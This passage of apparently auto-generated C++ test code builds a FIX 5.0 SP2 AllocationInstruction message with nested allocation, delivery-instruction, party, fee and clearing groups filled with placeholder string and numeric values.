noDlvyInst_0_1_0.addGroup(noSettlPartyIDs_0_0_2_0);\n      }\n      noAllocs_0_0.addGroup(noDlvyInst_0_1_0);\n    }\n    {\n      FIX50SP2::AllocationInstruction::NoAllocs::NoDlvyInst noDlvyInst_0_1_1;\n      // DlvyInstGrp.NoDlvyInst\n      multiset<string> DlvyInstGrp_NoDlvyInst_1;\n      set_field(noDlvyInst_0_1_1, FIX::DlvyInstType{'C'}, DlvyInstGrp_NoDlvyInst_1);\n      set_field(noDlvyInst_0_1_1, FIX::SettlInstSource{'1'}, DlvyInstGrp_NoDlvyInst_1);\n      all_values.push_back(DlvyInstGrp_NoDlvyInst_1);\n      all_compo_names.insert(\"...NoAllocs....NoDlvyInst\");\n\n      // SettlParties\n      // Group SettlParties.NoSettlPartyIDs\n      {\n        FIX50SP2::AllocationInstruction::NoAllocs::NoDlvyInst::NoSettlPartyIDs noSettlPartyIDs_0_1_2_0;\n        // SettlParties.NoSettlPartyIDs\n        multiset<string> SettlParties_NoSettlPartyIDs_1;\n        set_field(noSettlPartyIDs_0_1_2_0, FIX::SettlPartyID{\"STRING_1077708731\"}, SettlParties_NoSettlPartyIDs_1);\n        set_field(noSettlPartyIDs_0_1_2_0, FIX::SettlPartyIDSource{'1'}, SettlParties_NoSettlPartyIDs_1);\n        set_field(noSettlPartyIDs_0_1_2_0, FIX::SettlPartyRole{166051238}, SettlParties_NoSettlPartyIDs_1);\n        all_values.push_back(SettlParties_NoSettlPartyIDs_1);\n        all_compo_names.insert(\"...NoAllocs....NoDlvyInst...NoSettlPartyIDs\");\n\n        // SettlPtysSubGrp\n        // Group SettlPtysSubGrp.NoSettlPartySubIDs\n        {\n          FIX50SP2::AllocationInstruction::NoAllocs::NoDlvyInst::NoSettlPartyIDs::NoSettlPartySubIDs noSettlPartySubIDs_0_1_0_3_0;\n          // SettlPtysSubGrp.NoSettlPartySubIDs\n          multiset<string> SettlPtysSubGrp_NoSettlPartySubIDs_1;\n          set_field(noSettlPartySubIDs_0_1_0_3_0, FIX::SettlPartySubID{\"STRING_1533644936\"}, SettlPtysSubGrp_NoSettlPartySubIDs_1);\n          set_field(noSettlPartySubIDs_0_1_0_3_0, FIX::SettlPartySubIDType{949563879}, SettlPtysSubGrp_NoSettlPartySubIDs_1);\n          all_values.push_back(SettlPtysSubGrp_NoSettlPartySubIDs_1);\n          all_compo_names.insert(\"...NoAllocs....NoDlvyInst...NoSettlPartyIDs...NoSettlPartySubIDs\");\n\n          noSettlPartyIDs_0_1_2_0.addGroup(noSettlPartySubIDs_0_1_0_3_0);\n        }\n        noDlvyInst_0_1_1.addGroup(noSettlPartyIDs_0_1_2_0);\n      }\n      noAllocs_0_0.addGroup(noDlvyInst_0_1_1);\n    }\n    msg.addGroup(noAllocs_0_0);\n  }\n  {\n    FIX50SP2::AllocationInstruction::NoAllocs noAllocs_0_1;\n    // AllocGrp.NoAllocs\n    multiset<string> AllocGrp_NoAllocs_1;\n    set_field(noAllocs_0_1, FIX::AllocAccount{\"STRING_68267255\"}, AllocGrp_NoAllocs_1);\n    FIX::AllocAccruedInterestAmt AllocAccruedInterestAmt_1;\n    AllocAccruedInterestAmt_1.setString(\"115424\");\nset_field(noAllocs_0_1, AllocAccruedInterestAmt_1, AllocGrp_NoAllocs_1);\n    set_field(noAllocs_0_1, FIX::AllocAcctIDSource{586726118}, AllocGrp_NoAllocs_1);\n    FIX::AllocAvgPx AllocAvgPx_1;\n    AllocAvgPx_1.setString(\"1837326\");\nset_field(noAllocs_0_1, AllocAvgPx_1, AllocGrp_NoAllocs_1);\n    set_field(noAllocs_0_1, FIX::AllocCustomerCapacity{\"STRING_483100357\"}, AllocGrp_NoAllocs_1);\n    set_field(noAllocs_0_1, FIX::AllocHandlInst{1}, AllocGrp_NoAllocs_1);\n    FIX::AllocInterestAtMaturity AllocInterestAtMaturity_1;\n    AllocInterestAtMaturity_1.setString(\"10205989\");\nset_field(noAllocs_0_1, AllocInterestAtMaturity_1, AllocGrp_NoAllocs_1);\n    set_field(noAllocs_0_1, FIX::AllocMethod{1}, AllocGrp_NoAllocs_1);\n    FIX::AllocNetMoney AllocNetMoney_1;\n    AllocNetMoney_1.setString(\"11906372\");\nset_field(noAllocs_0_1, AllocNetMoney_1, AllocGrp_NoAllocs_1);\n    set_field(noAllocs_0_1, FIX::AllocPositionEffect{'O'}, AllocGrp_NoAllocs_1);\n    FIX::AllocPrice AllocPrice_1;\n    AllocPrice_1.setString(\"2465233\");\nset_field(noAllocs_0_1, AllocPrice_1, AllocGrp_NoAllocs_1);\n    FIX::AllocQty AllocQty_1;\n    AllocQty_1.setString(\"17932292\");\nset_field(noAllocs_0_1, AllocQty_1, AllocGrp_NoAllocs_1);\n    FIX::AllocSettlCurrAmt AllocSettlCurrAmt_1;\n    AllocSettlCurrAmt_1.setString(\"10528864\");\nset_field(noAllocs_0_1, AllocSettlCurrAmt_1, AllocGrp_NoAllocs_1);\n    set_field(noAllocs_0_1, FIX::AllocSettlCurrency{\"CAN\"}, AllocGrp_NoAllocs_1);\n    set_field(noAllocs_0_1, FIX::AllocSettlInstType{0}, AllocGrp_NoAllocs_1);\n    set_field(noAllocs_0_1, FIX::AllocText{\"STRING_796879694\"}, AllocGrp_NoAllocs_1);\n    set_field(noAllocs_0_1, FIX::ClearingFeeIndicator{\"STRING_I\"}, AllocGrp_NoAllocs_1);\n    set_field(noAllocs_0_1, FIX::EncodedAllocText{\"DATA_1369606992\"}, AllocGrp_NoAllocs_1);\n    set_field(noAllocs_0_1, FIX::EncodedAllocTextLen{1269599135}, AllocGrp_NoAllocs_1);\n    set_field(noAllocs_0_1, FIX::IndividualAllocID{\"STRING_907147339\"}, AllocGrp_NoAllocs_1);\n    set_field(noAllocs_0_1, FIX::IndividualAllocType{1}, AllocGrp_NoAllocs_1);\n    set_field(noAllocs_0_1, FIX::MatchStatus{'0'}, AllocGrp_NoAllocs_1);\n    set_field(noAllocs_0_1, FIX::NotifyBrokerOfCredit{true}, AllocGrp_NoAllocs_1);\n    set_field(noAllocs_0_1, FIX::ProcessCode{'4'}, AllocGrp_NoAllocs_1);\n    set_field(noAllocs_0_1, FIX::SecondaryIndividualAllocID{\"STRING_1100840925\"}, AllocGrp_NoAllocs_1);\n    FIX::SettlCurrAmt SettlCurrAmt_1;\n    SettlCurrAmt_1.setString(\"1898135\");\nset_field(noAllocs_0_1, SettlCurrAmt_1, AllocGrp_NoAllocs_1);\n    FIX::SettlCurrFxRate SettlCurrFxRate_1;\n    SettlCurrFxRate_1.setString(\"21332653\");\nset_field(noAllocs_0_1, SettlCurrFxRate_1, AllocGrp_NoAllocs_1);\n    set_field(noAllocs_0_1, FIX::SettlCurrFxRateCalc{'M'}, AllocGrp_NoAllocs_1);\n    set_field(noAllocs_0_1, FIX::SettlCurrency{\"JPY\"}, AllocGrp_NoAllocs_1);\n    all_values.push_back(AllocGrp_NoAllocs_1);\n    all_compo_names.insert(\"...NoAllocs\");\n\n    // ClrInstGrp\n    // Group ClrInstGrp.NoClearingInstructions\n    {\n      FIX50SP2::AllocationInstruction::NoAllocs::NoClearingInstructions noClearingInstructions_1_1_0;\n      // ClrInstGrp.NoClearingInstructions\n      multiset<string> ClrInstGrp_NoClearingInstructions_1;\n      set_field(noClearingInstructions_1_1_0, FIX::ClearingInstruction{0}, ClrInstGrp_NoClearingInstructions_1);\n      all_values.push_back(ClrInstGrp_NoClearingInstructions_1);\n      all_compo_names.insert(\"...NoAllocs...NoClearingInstructions\");\n\n      noAllocs_0_1.addGroup(noClearingInstructions_1_1_0);\n    }\n    // CommissionData\n    multiset<string> CommissionData_1;\n    set_field(noAllocs_0_1, FIX::CommCurrency{\"JPY\"}, CommissionData_1);\n    set_field(noAllocs_0_1, FIX::CommType{'2'}, CommissionData_1);\n    FIX::Commission Commission_1;\n    Commission_1.setString(\"11017066\");\nset_field(noAllocs_0_1, Commission_1, CommissionData_1);\n    set_field(noAllocs_0_1, FIX::FundRenewWaiv{'N'}, CommissionData_1);\n    all_values.push_back(CommissionData_1);\n    all_compo_names.insert(\"...NoAllocs.\");\n\n    // MiscFeesGrp\n    // Group MiscFeesGrp.NoMiscFees\n    {\n      FIX50SP2::AllocationInstruction::NoAllocs::NoMiscFees noMiscFees_1_1_0;\n      // MiscFeesGrp.NoMiscFees\n      multiset<string> MiscFeesGrp_NoMiscFees_3;\n      FIX::MiscFeeAmt MiscFeeAmt_3;\n      MiscFeeAmt_3.setString(\"1448602\");\nset_field(noMiscFees_1_1_0, MiscFeeAmt_3, MiscFeesGrp_NoMiscFees_3);\n      set_field(noMiscFees_1_1_0, FIX::MiscFeeBasis{0}, MiscFeesGrp_NoMiscFees_3);\n      set_field(noMiscFees_1_1_0, FIX::MiscFeeCurr{\"CHF\"}, MiscFeesGrp_NoMiscFees_3);\n      set_field(noMiscFees_1_1_0, FIX::MiscFeeType{\"STRING_4\"}, MiscFeesGrp_NoMiscFees_3);\n      all_values.push_back(MiscFeesGrp_NoMiscFees_3);\n      all_compo_names.insert(\"...NoAllocs...NoMiscFees\");\n\n      noAllocs_0_1.addGroup(noMiscFees_1_1_0);\n    }\n    {\n      FIX50SP2::AllocationInstruction::NoAllocs::NoMiscFees noMiscFees_1_1_1;\n      // MiscFeesGrp.NoMiscFees\n      multiset<string> MiscFeesGrp_NoMiscFees_4;\n      FIX::MiscFeeAmt MiscFeeAmt_4;\n      MiscFeeAmt_4.setString(\"18801987\");\nset_field(noMiscFees_1_1_1, MiscFeeAmt_4, MiscFeesGrp_NoMiscFees_4);\n      set_field(noMiscFees_1_1_1, FIX::MiscFeeBasis{0}, MiscFeesGrp_NoMiscFees_4);\n      set_field(noMiscFees_1_1_1, FIX::MiscFeeCurr{\"CAN\"}, MiscFeesGrp_NoMiscFees_4);\n      set_field(noMiscFees_1_1_1, FIX::MiscFeeType{\"STRING_9\"}, MiscFeesGrp_NoMiscFees_4);\n      all_values.push_back(MiscFeesGrp_NoMiscFees_4);\n      all_compo_names.insert(\"...NoAllocs...NoMiscFees\");\n\n      noAllocs_0_1.addGroup(noMiscFees_1_1_1);\n    }\n    // NestedParties\n    // Group NestedParties.NoNestedPartyIDs\n    {\n      FIX50SP2::AllocationInstruction::NoAllocs::NoNestedPartyIDs noNestedPartyIDs_1_1_0;\n      // NestedParties.NoNestedPartyIDs\n      multiset<string> NestedParties_NoNestedPartyIDs_4;\n      set_field(noNestedPartyIDs_1_1_0, FIX::NestedPartyID{\"STRING_1799193977\"}, NestedParties_NoNestedPartyIDs_4);\n      set_field(noNestedPartyIDs_1_1_0, FIX::NestedPartyIDSource{'1'}, NestedParties_NoNestedPartyIDs_4);\n      set_field(noNestedPartyIDs_1_1_0, FIX::NestedPartyRole{145865422}, NestedParties_NoNestedPartyIDs_4);\n      all_values.push_back(NestedParties_NoNestedPartyIDs_4);\n      all_compo_names.insert(\"...NoAllocs...NoNestedPartyIDs\");\n\n      // NstdPtysSubGrp\n      // Group NstdPtysSubGrp.NoNestedPartySubIDs\n      {\n        FIX50SP2::AllocationInstruction::NoAllocs::NoNestedPartyIDs::NoNestedPartySubIDs noNestedPartySubIDs_1_0_2_0;\n        // NstdPtysSubGrp.NoNestedPartySubIDs\n        multiset<string> NstdPtysSubGrp_NoNestedPartySubIDs_11;\n        set_field(noNestedPartySubIDs_1_0_2_0, FIX::NestedPartySubID{\"STRING_170079759\"}, NstdPtysSubGrp_NoNestedPartySubIDs_11);\n        set_field(noNestedPartySubIDs_1_0_2_0, FIX::NestedPartySubIDType{2113079542}, NstdPtysSubGrp_NoNestedPartySubIDs_11);\n        all_values.push_back(NstdPtysSubGrp_NoNestedPartySubIDs_11);\n        all_compo_names.insert(\"...NoAllocs...NoNestedPartyIDs...NoNestedPartySubIDs\");\n\n        noNestedPartyIDs_1_1_0.addGroup(noNestedPartySubIDs_1_0_2_0);\n      }\n      {\n        FIX50SP2::AllocationInstruction::NoAllocs::NoNestedPartyIDs::NoNestedPartySubIDs noNestedPartySubIDs_1_0_2_1;\n        // NstdPtysSubGrp.NoNestedPartySubIDs\n        multiset<string> NstdPtysSubGrp_NoNestedPartySubIDs_12;\n        set_field(noNestedPartySubIDs_1_0_2_1, FIX::NestedPartySubID{\"STRING_775683447\"}, NstdPtysSubGrp_NoNestedPartySubIDs_12);\n        set_field(noNestedPartySubIDs_1_0_2_1, FIX::NestedPartySubIDType{359893269}, NstdPtysSubGrp_NoNestedPartySubIDs_12);\n        all_values.push_back(NstdPtysSubGrp_NoNestedPartySubIDs_12);\n        all_compo_names.insert(\"...NoAllocs...NoNestedPartyIDs...NoNestedPartySubIDs\");\n\n        noNestedPartyIDs_1_1_0.addGroup(noNestedPartySubIDs_1_0_2_1);\n      }\n      {\n        FIX50SP2::AllocationInstruction::NoAllocs::NoNestedPartyIDs::NoNestedPartySubIDs noNestedPartySubIDs_1_0_2_2;\n        // NstdPtysSubGrp.NoNestedPartySubIDs\n        multiset<string> NstdPtysSubGrp_NoNestedPartySubIDs_13;\n        set_field(noNestedPartySubIDs_1_0_2_2, FIX::NestedPartySubID{\"STRING_2098861253\"}, NstdPtysSubGrp_NoNestedPartySubIDs_13);\n        set_field(noNestedPartySubIDs_1_0_2_2, FIX::NestedPartySubIDType{548053766}, NstdPtysSubGrp_NoNestedPartySubIDs_13);\n        all_values.push_back(NstdPtysSubGrp_NoNestedPartySubIDs_13);\n        all_compo_names.insert(\"...NoAllocs...NoNestedPartyIDs...NoNestedPartySubIDs\");\n\n        noNestedPartyIDs_1_1_0.addGroup(noNestedPartySubIDs_1_0_2_2);\n      }\n      noAllocs_0_1.addGroup(noNestedPartyIDs_1_1_0);\n    }\n    {\n      FIX50SP2::AllocationInstruction::NoAllocs::NoNestedPartyIDs noNestedPartyIDs_1_1_1;\n      // NestedParties.NoNestedPartyIDs\n      multiset<string> NestedParties_NoNestedPartyIDs_5;\n      set_field(noNestedPartyIDs_1_1_1, FIX::NestedPartyID{\"STRING_2083351715\"}, NestedParties_NoNestedPartyIDs_5);\n      set_field(noNestedPartyIDs_1_1_1, FIX::NestedPartyIDSource{'8'}, NestedParties_NoNestedPartyIDs_5);\n      set_field(noNestedPartyIDs_1_1_1, FIX::NestedPartyRole{388691340}, NestedParties_NoNestedPartyIDs_5);\n      all_values.push_back(NestedParties_NoNestedPartyIDs_5);\n      all_compo_names.insert(\"...NoAllocs...NoNestedPartyIDs\");\n\n      // NstdPtysSubGrp\n      // Group NstdPtysSubGrp.NoNestedPartySubIDs\n      {\n        FIX50SP2::AllocationInstruction::NoAllocs::NoNestedPartyIDs::NoNestedPartySubIDs noNestedPartySubIDs_1_1_2_0;\n        // NstdPtysSubGrp.NoNestedPartySubIDs\n        multiset<string> NstdPtysSubGrp_NoNestedPartySubIDs_14;\n        set_field(noNestedPartySubIDs_1_1_2_0, FIX::NestedPartySubID{\"STRING_261311256\"}, NstdPtysSubGrp_NoNestedPartySubIDs_14);\n        set_field(noNestedPartySubIDs_1_1_2_0, FIX::NestedPartySubIDType{413061544}, NstdPtysSubGrp_NoNestedPartySubIDs_14);\n        all_values.push_back(NstdPtysSubGrp_NoNestedPartySubIDs_14);\n        all_compo_names.insert(\"...NoAllocs...NoNestedPartyIDs...NoNestedPartySubIDs\");\n\n        noNestedPartyIDs_1_1_1.addGroup(noNestedPartySubIDs_1_1_2_0);\n      }\n      {\n        FIX50SP2::AllocationInstruction::NoAllocs::NoNestedPartyIDs::NoNestedPartySubIDs noNestedPartySubIDs_1_1_2_1;\n        // NstdPtysSubGrp.NoNestedPartySubIDs\n        multiset<string> NstdPtysSubGrp_NoNestedPartySubIDs_15;\n        set_field(noNestedPartySubIDs_1_1_2_1, FIX::NestedPartySubID{\"STRING_1741486585\"}, NstdPtysSubGrp_NoNestedPartySubIDs_15);\n        set_field(noNestedPartySubIDs_1_1_2_1, FIX::NestedPartySubIDType{1363017949}, NstdPtysSubGrp_NoNestedPartySubIDs_15);\n        all_values.push_back(NstdPtysSubGrp_NoNestedPartySubIDs_15);\n        all_compo_names.insert(\"...NoAllocs...NoNestedPartyIDs...NoNestedPartySubIDs\");\n\n        noNestedPartyIDs_1_1_1.addGroup(noNestedPartySubIDs_1_1_2_1);\n      }\n      {\n        FIX50SP2::AllocationInstruction::NoAllocs::NoNestedPartyIDs::NoNestedPartySubIDs noNestedPartySubIDs_1_1_2_2;\n        // NstdPtysSubGrp.NoNestedPartySubIDs\n        multiset<string> NstdPtysSubGrp_NoNestedPartySubIDs_16;\n        set_field(noNestedPartySubIDs_1_1_2_2, FIX::NestedPartySubID{\"STRING_1458030731\"}, NstdPtysSubGrp_NoNestedPartySubIDs_16);\n        set_field(noNestedPartySubIDs_1_1_2_2, FIX::NestedPartySubIDType{852358242}, NstdPtysSubGrp_NoNestedPartySubIDs_16);\n        all_values.push_back(NstdPtysSubGrp_NoNestedPartySubIDs_16);\n        all_compo_names.insert(\"...NoAllocs...NoNestedPartyIDs...NoNestedPartySubIDs\");\n\n        noNestedPartyIDs_1_1_1.addGroup(noNestedPartySubIDs_1_1_2_2);\n      }\n      noAllocs_0_1.addGroup(noNestedPartyIDs_1_1_1);\n    }\n    {\n      FIX50SP2::AllocationInstruction::NoAllocs::NoNestedPartyIDs noNestedPartyIDs_1_1_2;\n      // NestedParties.NoNestedPartyIDs\n      multiset<string> NestedParties_NoNestedPartyIDs_6;\n      set_field(noNestedPartyIDs_1_1_2, FIX::NestedPartyID{\"STRING_1507878246\"}, NestedParties_NoNestedPartyIDs_6);\n      set_field(noNestedPartyIDs_1_1_2, FIX::NestedPartyIDSource{'1'}, NestedParties_NoNestedPartyIDs_6);\n      set_field(noNestedPartyIDs_1_1_2, FIX::NestedPartyRole{209753290}, NestedParties_NoNestedPartyIDs_6);\n      all_values.push_back(NestedParties_NoNestedPartyIDs_6);\n      all_compo_names.insert(\"...NoAllocs...NoNestedPartyIDs\");\n\n      // NstdPtysSubGrp\n      // Group NstdPtysSubGrp.NoNestedPartySubIDs\n      {\n        FIX50SP2::AllocationInstruction::NoAllocs::NoNestedPartyIDs::NoNestedPartySubIDs noNestedPartySubIDs_1_2_2_0;\n        // NstdPtysSubGrp.NoNestedPartySubIDs\n        multiset<string> NstdPtysSubGrp_NoNestedPartySubIDs_17;\n        set_field(noNestedPartySubIDs_1_2_2_0, FIX::NestedPartySubID{\"STRING_2047285301\"}, NstdPtysSubGrp_NoNestedPartySubIDs_17);\n        set_field(noNestedPartySubIDs_1_2_2_0, FIX::NestedPartySubIDType{2089952085}, NstdPtysSubGrp_NoNestedPartySubIDs_17);\n        all_values.push_back(NstdPtysSubGrp_NoNestedPartySubIDs_17);\n        all_compo_names.insert(\"...NoAllocs...NoNestedPartyIDs...NoNestedPartySubIDs\");\n\n        noNestedPartyIDs_1_1_2.addGroup(noNestedPartySubIDs_1_2_2_0);\n      }\n      {\n        FIX50SP2::AllocationInstruction::NoAllocs::NoNestedPartyIDs::NoNestedPartySubIDs noNestedPartySubIDs_1_2_2_1;\n        // NstdPtysSubGrp.NoNestedPartySubIDs\n        multiset<string> NstdPtysSubGrp_NoNestedPartySubIDs_18;\n        set_field(noNestedPartySubIDs_1_2_2_1, FIX::NestedPartySubID{\"STRING_563352192\"}, NstdPtysSubGrp_NoNestedPartySubIDs_18);\n        set_field(noNestedPartySubIDs_1_2_2_1, FIX::NestedPartySubIDType{1251298204}, NstdPtysSubGrp_NoNestedPartySubIDs_18);\n        all_values.push_back(NstdPtysSubGrp_NoNestedPartySubIDs_18);\n        all_compo_names.insert(\"...NoAllocs...NoNestedPartyIDs...NoNestedPartySubIDs\");\n\n        noNestedPartyIDs_1_1_2.addGroup(noNestedPartySubIDs_1_2_2_1);\n      }\n      noAllocs_0_1.addGroup(noNestedPartyIDs_1_1_2);\n    }\n    // SettlInstructionsData\n    multiset<string> SettlInstructionsData_1;\n    set_field(noAllocs_0_1, FIX::SettlDeliveryType{3}, SettlInstructionsData_1);\n    set_field(noAllocs_0_1, FIX::StandInstDbID{\"STRING_1165270328\"}, SettlInstructionsData_1);\n    set_field(noAllocs_0_1, FIX::StandInstDbName{\"STRING_1824918100\"}, SettlInstructionsData_1);\n    set_field(noAllocs_0_1, FIX::StandInstDbType{3}, SettlInstructionsData_1);\n    all_values.push_back(SettlInstructionsData_1);\n    all_compo_names.insert(\"...NoAllocs.\");\n\n    // DlvyInstGrp\n    // Group DlvyInstGrp.NoDlvyInst\n    {\n      FIX50SP2::AllocationInstruction::NoAllocs::NoDlvyInst noDlvyInst_1_1_0;\n      // DlvyInstGrp.NoDlvyInst\n      multiset<string> DlvyInstGrp_NoDlvyInst_2;\n      set_field(noDlvyInst_1_1_0, FIX::DlvyInstType{'C'}, DlvyInstGrp_NoDlvyInst_2);\n      set_field(noDlvyInst_1_1_0, FIX::SettlInstSource{'1'}, DlvyInstGrp_NoDlvyInst_2);\n      all_values.push_back(DlvyInstGrp_NoDlvyInst_2);\n      all_compo_names.insert(\"...NoAllocs....NoDlvyInst\");\n\n      // SettlParties\n      // Group SettlParties.NoSettlPartyIDs\n      {\n        FIX50SP2::AllocationInstruction::NoAllocs::NoDlvyInst::NoSettlPartyIDs noSettlPartyIDs_1_0_2_0;\n        // SettlParties.NoSettlPartyIDs\n        multiset<string> SettlParties_NoSettlPartyIDs_2;\n        set_field(noSettlPartyIDs_1_0_2_0, FIX::SettlPartyID{\"STRING_1936379416\"}, SettlParties_NoSettlPartyIDs_2);\n        set_field(noSettlPartyIDs_1_0_2_0, FIX::SettlPartyIDSource{'5'}, SettlParties_NoSettlPartyIDs_2);\n        set_field(noSettlPartyIDs_1_0_2_0, FIX::SettlPartyRole{1056825183}, SettlParties_NoSettlPartyIDs_2);\n        all_values.push_back(SettlParties_NoSettlPartyIDs_2);\n        all_compo_names.insert(\"...NoAllocs....NoDlvyInst...NoSettlPartyIDs\");\n\n        // SettlPtysSubGrp\n        // Group SettlPtysSubGrp.NoSettlPartySubIDs\n        {\n          FIX50SP2::AllocationInstruction::NoAllocs::NoDlvyInst::NoSettlPartyIDs::NoSettlPartySubIDs noSettlPartySubIDs_1_0_0_3_0;\n          // SettlPtysSubGrp.NoSettlPartySubIDs\n          multiset<string> SettlPtysSubGrp_NoSettlPartySubIDs_2;\n          set_field(noSettlPartySubIDs_1_0_0_3_0, FIX::SettlPartySubID{\"STRING_1122353344\"}, SettlPtysSubGrp_NoSettlPartySubIDs_2);\n          set_field(noSettlPartySubIDs_1_0_0_3_0, FIX::SettlPartySubIDType{992693250}, SettlPtysSubGrp_NoSettlPartySubIDs_2);\n          all_values.push_back(SettlPtysSubGrp_NoSettlPartySubIDs_2);\n          all_compo_names.insert(\"...NoAllocs....NoDlvyInst...NoSettlPartyIDs...NoSettlPartySubIDs\");\n\n          noSettlPartyIDs_1_0_2_0.addGroup(noSettlPartySubIDs_1_0_0_3_0);\n        }\n        {\n          FIX50SP2::AllocationInstruction::NoAllocs::NoDlvyInst::NoSettlPartyIDs::NoSettlPartySubIDs noSettlPartySubIDs_1_0_0_3_1;\n          // SettlPtysSubGrp.NoSettlPartySubIDs\n          multiset<string> SettlPtysSubGrp_NoSettlPartySubIDs_3;\n          set_field(noSettlPartySubIDs_1_0_0_3_1, FIX::SettlPartySubID{\"STRING_626996569\"}, SettlPtysSubGrp_NoSettlPartySubIDs_3);\n          set_field(noSettlPartySubIDs_1_0_0_3_1, FIX::SettlPartySubIDType{1511044684}, SettlPtysSubGrp_NoSettlPartySubIDs_3);\n          all_values.push_back(SettlPtysSubGrp_NoSettlPartySubIDs_3);\n          all_compo_names.insert(\"...NoAllocs....NoDlvyInst...NoSettlPartyIDs...NoSettlPartySubIDs\");\n\n          noSettlPartyIDs_1_0_2_0.addGroup(noSettlPartySubIDs_1_0_0_3_1);\n        }\n        {\n          FIX50SP2::AllocationInstruction::NoAllocs::NoDlvyInst::NoSettlPartyIDs::NoSettlPartySubIDs noSettlPartySubIDs_1_0_0_3_2;\n          // SettlPtysSubGrp.NoSettlPartySubIDs\n          multiset<string> SettlPtysSubGrp_NoSettlPartySubIDs_4;\n          set_field(noSettlPartySubIDs_1_0_0_3_2, FIX::SettlPartySubID{\"STRING_516078574\"}, SettlPtysSubGrp_NoSettlPartySubIDs_4);\n          set_field(noSettlPartySubIDs_1_0_0_3_2, FIX::SettlPartySubIDType{888307825}, SettlPtysSubGrp_NoSettlPartySubIDs_4);\n          all_values.push_back(SettlPtysSubGrp_NoSettlPartySubIDs_4);\n          all_compo_names.insert(\"...NoAllocs....NoDlvyInst...NoSettlPartyIDs...NoSettlPartySubIDs\");\n\n          noSettlPartyIDs_1_0_2_0.addGroup(noSettlPartySubIDs_1_0_0_3_2);\n        }\n        noDlvyInst_1_1_0.addGroup(noSettlPartyIDs_1_0_2_0);\n      }\n      noAllocs_0_1.addGroup(noDlvyInst_1_1_0);\n    }\n    msg.addGroup(noAllocs_0_1);\n  }\n  {\n    FIX50SP2::AllocationInstruction::NoAllocs noAllocs_0_2;\n    // AllocGrp.NoAllocs\n    multiset<string> AllocGrp_NoAllocs_2;\n    set_field(noAllocs_0_2, FIX::AllocAccount{\"STRING_1924106228\"}, AllocGrp_NoAllocs_2);\n    FIX::AllocAccruedInterestAmt AllocAccruedInterestAmt_2;\n    AllocAccruedInterestAmt_2.setString(\"1100815\");\nset_field(noAllocs_0_2, AllocAccruedInterestAmt_2, AllocGrp_NoAllocs_2);\n    set_field(noAllocs_0_2, FIX::AllocAcctIDSource{103842127}, AllocGrp_NoAllocs_2);\n    FIX::AllocAvgPx AllocAvgPx_2;\n    AllocAvgPx_2.setString(\"12346533\");\nset_field(noAllocs_0_2, AllocAvgPx_2, AllocGrp_NoAllocs_2);\n    set_field(noAllocs_0_2, FIX::AllocCustomerCapacity{\"STRING_962439753\"}, AllocGrp_NoAllocs_2);\n    set_field(noAllocs_0_2, FIX::AllocHandlInst{2}, AllocGrp_NoAllocs_2);\n    FIX::AllocInterestAtMaturity AllocInterestAtMaturity_2;\n    AllocInterestAtMaturity_2.setString(\"3133844\");\nset_field(noAllocs_0_2, AllocInterestAtMaturity_2, AllocGrp_NoAllocs_2);\n    set_field(noAllocs_0_2, FIX::AllocMethod{2}, AllocGrp_NoAllocs_2);\n    FIX::AllocNetMoney AllocNetMoney_2;\n    AllocNetMoney_2.setString(\"7627208\");\nset_field(noAllocs_0_2, AllocNetMoney_2, AllocGrp_NoAllocs_2);\n    set_field(noAllocs_0_2, FIX::AllocPositionEffect{'R'}, AllocGrp_NoAllocs_2);\n    FIX::AllocPrice AllocPrice_2;\n    AllocPrice_2.setString(\"11146614\");\nset_field(noAllocs_0_2, AllocPrice_2, AllocGrp_NoAllocs_2);\n    FIX::AllocQty AllocQty_2;\n    AllocQty_2.setString(\"13260730\");\nset_field(noAllocs_0_2, AllocQty_2, AllocGrp_NoAllocs_2);\n    FIX::AllocSettlCurrAmt AllocSettlCurrAmt_2;\n    AllocSettlCurrAmt_2.setString(\"14644843\");\nset_field(noAllocs_0_2, AllocSettlCurrAmt_2, AllocGrp_NoAllocs_2);\n    set_field(noAllocs_0_2, FIX::AllocSettlCurrency{\"USD\"}, AllocGrp_NoAllocs_2);\n    set_field(noAllocs_0_2, FIX::AllocSettlInstType{3}, AllocGrp_NoAllocs_2);\n    set_field(noAllocs_0_2, FIX::AllocText{\"STRING_1710498368\"}, AllocGrp_NoAllocs_2);\n    set_field(noAllocs_0_2, FIX::ClearingFeeIndicator{\"STRING_M\"}, AllocGrp_NoAllocs_2);\n    set_field(noAllocs_0_2, FIX::EncodedAllocText{\"DATA_965218657\"}, AllocGrp_NoAllocs_2);\n    set_field(noAllocs_0_2, FIX::EncodedAllocTextLen{1509114498}, AllocGrp_NoAllocs_2);\n    set_field(noAllocs_0_2, FIX::IndividualAllocID{\"STRING_1567643811\"}, AllocGrp_NoAllocs_2);\n    set_field(noAllocs_0_2, FIX::IndividualAllocType{2}, AllocGrp_NoAllocs_2);\n    set_field(noAllocs_0_2, FIX::MatchStatus{'2'}, AllocGrp_NoAllocs_2);\n    set_field(noAllocs_0_2, FIX::NotifyBrokerOfCredit{true}, AllocGrp_NoAllocs_2);\n    set_field(noAllocs_0_2, FIX::ProcessCode{'3'}, AllocGrp_NoAllocs_2);\n    set_field(noAllocs_0_2, FIX::SecondaryIndividualAllocID{\"STRING_1058283772\"}, AllocGrp_NoAllocs_2);\n    FIX::SettlCurrAmt SettlCurrAmt_2;\n    SettlCurrAmt_2.setString(\"14696785\");\nset_field(noAllocs_0_2, SettlCurrAmt_2, AllocGrp_NoAllocs_2);\n    FIX::SettlCurrFxRate SettlCurrFxRate_2;\n    SettlCurrFxRate_2.setString(\"11213843\");\nset_field(noAllocs_0_2, SettlCurrFxRate_2, AllocGrp_NoAllocs_2);\n    set_field(noAllocs_0_2, FIX::SettlCurrFxRateCalc{'M'}, AllocGrp_NoAllocs_2);\n    set_field(noAllocs_0_2, FIX::SettlCurrency{\"USD\"}, AllocGrp_NoAllocs_2);\n    all_values.push_back(AllocGrp_NoAllocs_2);\n    all_compo_names.insert(\"...NoAllocs\");\n\n    // ClrInstGrp\n    // Group ClrInstGrp.NoClearingInstructions\n    {\n      FIX50SP2::AllocationInstruction::NoAllocs::NoClearingInstructions noClearingInstructions_2_1_0;\n      // ClrInstGrp.NoClearingInstructions\n      multiset<string> ClrInstGrp_NoClearingInstructions_2;\n      set_field(noClearingInstructions_2_1_0, FIX::ClearingInstruction{0}, ClrInstGrp_NoClearingInstructions_2);\n      all_values.push_back(ClrInstGrp_NoClearingInstructions_2);\n      all_compo_names.insert(\"...NoAllocs...NoClearingInstructions\");\n\n      noAllocs_0_2.addGroup(noClearingInstructions_2_1_0);\n    }\n    {\n      FIX50SP2::AllocationInstruction::NoAllocs::NoClearingInstructions 